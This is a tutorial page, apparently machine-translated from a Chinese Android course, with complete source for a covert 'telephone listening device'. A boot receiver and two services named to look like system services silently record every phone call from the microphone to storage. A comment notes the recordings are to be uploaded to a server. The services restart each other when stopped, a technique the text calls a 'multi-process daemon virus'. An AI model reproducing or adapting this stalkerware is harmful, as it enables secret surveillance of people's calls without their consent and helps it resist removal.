"Dark Horse Android" (09) Telephone Listening device

Source: Internet
Author: User

phone wire

Development with Services


< LinearLayout xmlns:android= "http://schemas.android.com/apk/res/android" xmlns:tools= "http://schemas.android.com/    Tools "Android:layout_width=" Match_parent "android:layout_height=" match_parent "android:orientation=" vertical " Tools:context= ". Mainactivity "> <button android:onclick=" Start "android:layout_width=" Fill_parent "android:l ayout_height= "Wrap_content" android:text= "Start listening"/> <button android:onclick= "Stop" Android:la Yout_width= "Fill_parent" android:layout_height= "wrap_content" android:text= "Stop Listening"/></linearlayout> 
<?xml version= "1.0" encoding= "Utf-8"? ><manifest xmlns:android= "http://schemas.android.com/apk/res/ Android "package=" Com.itheima.phonelistener "android:versioncode=" 1 "android:versionname=" 1.0 "> <uses-s DK android:minsdkversion= "8" android:targetsdkversion= "/> <uses-permission android:name=" Androi D.permission.read_phone_state "/> <uses-permission android:name=" Android.permission.WRITE_EXTERNAL_STORAGE " /> <uses-permission android:name= "Android.permission.RECORD_AUDIO"/> <uses-permission android:name= "an Droid.permission.RECEIVE_BOOT_COMPLETED "/> <application android:allowbackup=" true "android:icon=" @ Drawable/ic_launcher "android:label=" @string/app_name "android:theme=" @style/apptheme "> <activ            ity android:name= "com.itheima.phonelistener.MainActivity" android:label= "@string/app_name" > <intent-filter> &Lt;action android:name= "Android.intent.action.MAIN"/> <category android:name= "Android.intent.categor Y.launcher "/> </intent-filter> </activity> <service android:name=" Com.itheima. Phonelistener. Systemservice "> </service> <service android:name=" Com.itheima.phonelistener.SystemService2 "        ; </service> <receiver android:name= "Com.itheima.phonelistener.BootReceiver" > <intent-filt er> <action android:name= "Android.intent.action.BOOT_COMPLETED"/> &LT;/INTENT-FILTER&G        T </receiver> </application></manifest>
Package Com.itheima.phonelistener;import Android.app.activity;import Android.content.intent;import Android.os.bundle;import Android.view.view;public class Mainactivity extends Activity {@Overrideprotected void OnCreate (Bundle savedinstancestate) {super.oncreate (savedinstancestate); Setcontentview (R.layout.activity_main);} public void Start (view view) {//Open service. Intent Intent = new Intent (this,systemservice.class); StartService (Intent);} public void Stop (view view) {//stop service. Intent Intent = new Intent (this,systemservice.class); StopService (Intent);}}

Receive a start-up broadcast

Package Com.itheima.phonelistener;import Android.content.broadcastreceiver;import Android.content.context;import Android.content.intent;public class Bootreceiver extends Broadcastreceiver {@Overridepublic void OnReceive (Context Context, Intent Intent) {Intent i = new Intent (context,systemservice.class); Context.startservice (i);}}

Multi-process Daemon virus

Package Com.itheima.phonelistener;import Java.io.file;import Java.io.ioexception;import android.app.Service;import Android.content.intent;import Android.media.mediarecorder;import Android.os.environment;import Android.os.IBinder ; Import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;public class SystemService Extends Service {//Phone manager private Telephonymanager tm;//Listener object Private MyListener listener;//claims recorder private Mediarecorder Mediarecorder; @Overridepublic ibinder onbind (Intent Intent) {return null;} The method called when the service was created @overridepublic void OnCreate () {///background listener call status. Get the Phone Manager tm = (Telephonymanager) this.getsystemservice (telephony_service); listener = new MyListener (); Tm.listen ( Listener, phonestatelistener.listen_call_state); Super.oncreate ();} Private class MyListener extends Phonestatelistener {//the method called when the call status of the phone changes @overridepublic void oncallstatechanged ( int state, String incomingnumber) {super.oncallstatechanged (state, incomingnumber); try {switch telephonymanager.call_state_idle://idle state. if (mediarecorder!=null) {//8. Stop capture Mediarecorder.stop ();//9. Release Resources mediarecorder.release (); mediarecorder = null; System.out.println ("After recording, upload the file to the server. ");} Break;case telephonymanager.call_state_ringing://0-ring state. Break;case telephonymanager.call_state_offhook://Call Status//start recording//1. Instantiate a Recorder Mediarecorder = new Mediarecorder ();//2. Specifies the sound source of the recorder Mediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC);//3. Sets the format of the recorded file output Mediarecorder.setoutputformat (MediaRecorder.OutputFormat.DEFAULT);//4. Specify the name of the recording file files = new file ( Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". 3gp"); Mediarecorder.setoutputfile ( File.getabsolutepath ());//5. Set the audio encoding Mediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT);//6. Ready to start recording mediarecorder.prepare ();//7. Start recording Mediarecorder.start (); break;}} catch (Exception e) {e.printstacktrace ();}}} The method called when the service is destroyed @overridepublic void OnDestroy () {Super.ondestroy ();//cancels the phone's monitoring System.out.println ("ondestory"); Intent i = new Intent (this,systemService2.class); StartService (i); Tm.listen (Listener, phonestatelistener.listen_none); listener = null;}} 
Package Com.itheima.phonelistener;import Java.io.file;import Java.io.ioexception;import android.app.Service;import Android.content.intent;import Android.media.mediarecorder;import Android.os.environment;import Android.os.IBinder ; Import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;public class SystemService2 Extends Service {//Phone manager private Telephonymanager tm;//Listener object Private MyListener listener;//claims recorder private Mediarecorder Mediarecorder; @Overridepublic ibinder onbind (Intent Intent) {return null;} The method called when the service was created @overridepublic void OnCreate () {///background listener call status. Get the Phone Manager tm = (Telephonymanager) this.getsystemservice (telephony_service); listener = new MyListener (); Tm.listen ( Listener, phonestatelistener.listen_call_state); Super.oncreate ();} Private class MyListener extends Phonestatelistener {//the method called when the call status of the phone changes @overridepublic void oncallstatechanged ( int state, String incomingnumber) {super.oncallstatechanged (state, incomingnumber); try {switch (state) {CAsE telephonymanager.call_state_idle://idle state. if (mediarecorder!=null) {//8. Stop capture Mediarecorder.stop ();//9. Release Resources mediarecorder.release (); mediarecorder = null; System.out.println ("After recording, upload the file to the server. ");} Break;case telephonymanager.call_state_ringing://0-ring state. Break;case telephonymanager.call_state_offhook://Call Status//start recording//1. Instantiate a Recorder Mediarecorder = new Mediarecorder ();//2. Specifies the sound source of the recorder Mediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC);//3. Sets the format of the recorded file output Mediarecorder.setoutputformat (MediaRecorder.OutputFormat.DEFAULT);//4. Specify the name of the recording file files = new file ( Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". 3gp"); Mediarecorder.setoutputfile ( File.getabsolutepath ());//5. Set the audio encoding Mediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT);//6. Ready to start recording mediarecorder.prepare ();//7. Start recording Mediarecorder.start (); break;}} catch (Exception e) {e.printstacktrace ();}}} The method called when the service is destroyed @overridepublic void OnDestroy () {Super.ondestroy ();//cancels the phone's monitoring System.out.println ("ondestory"); Tm.listen (Listener, PhonestateliStener. Listen_none); Intent i = new Intent (this,systemservice.class); StartService (i); listener = null;}}


"Dark Horse Android" (09) Telephone Listening device

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.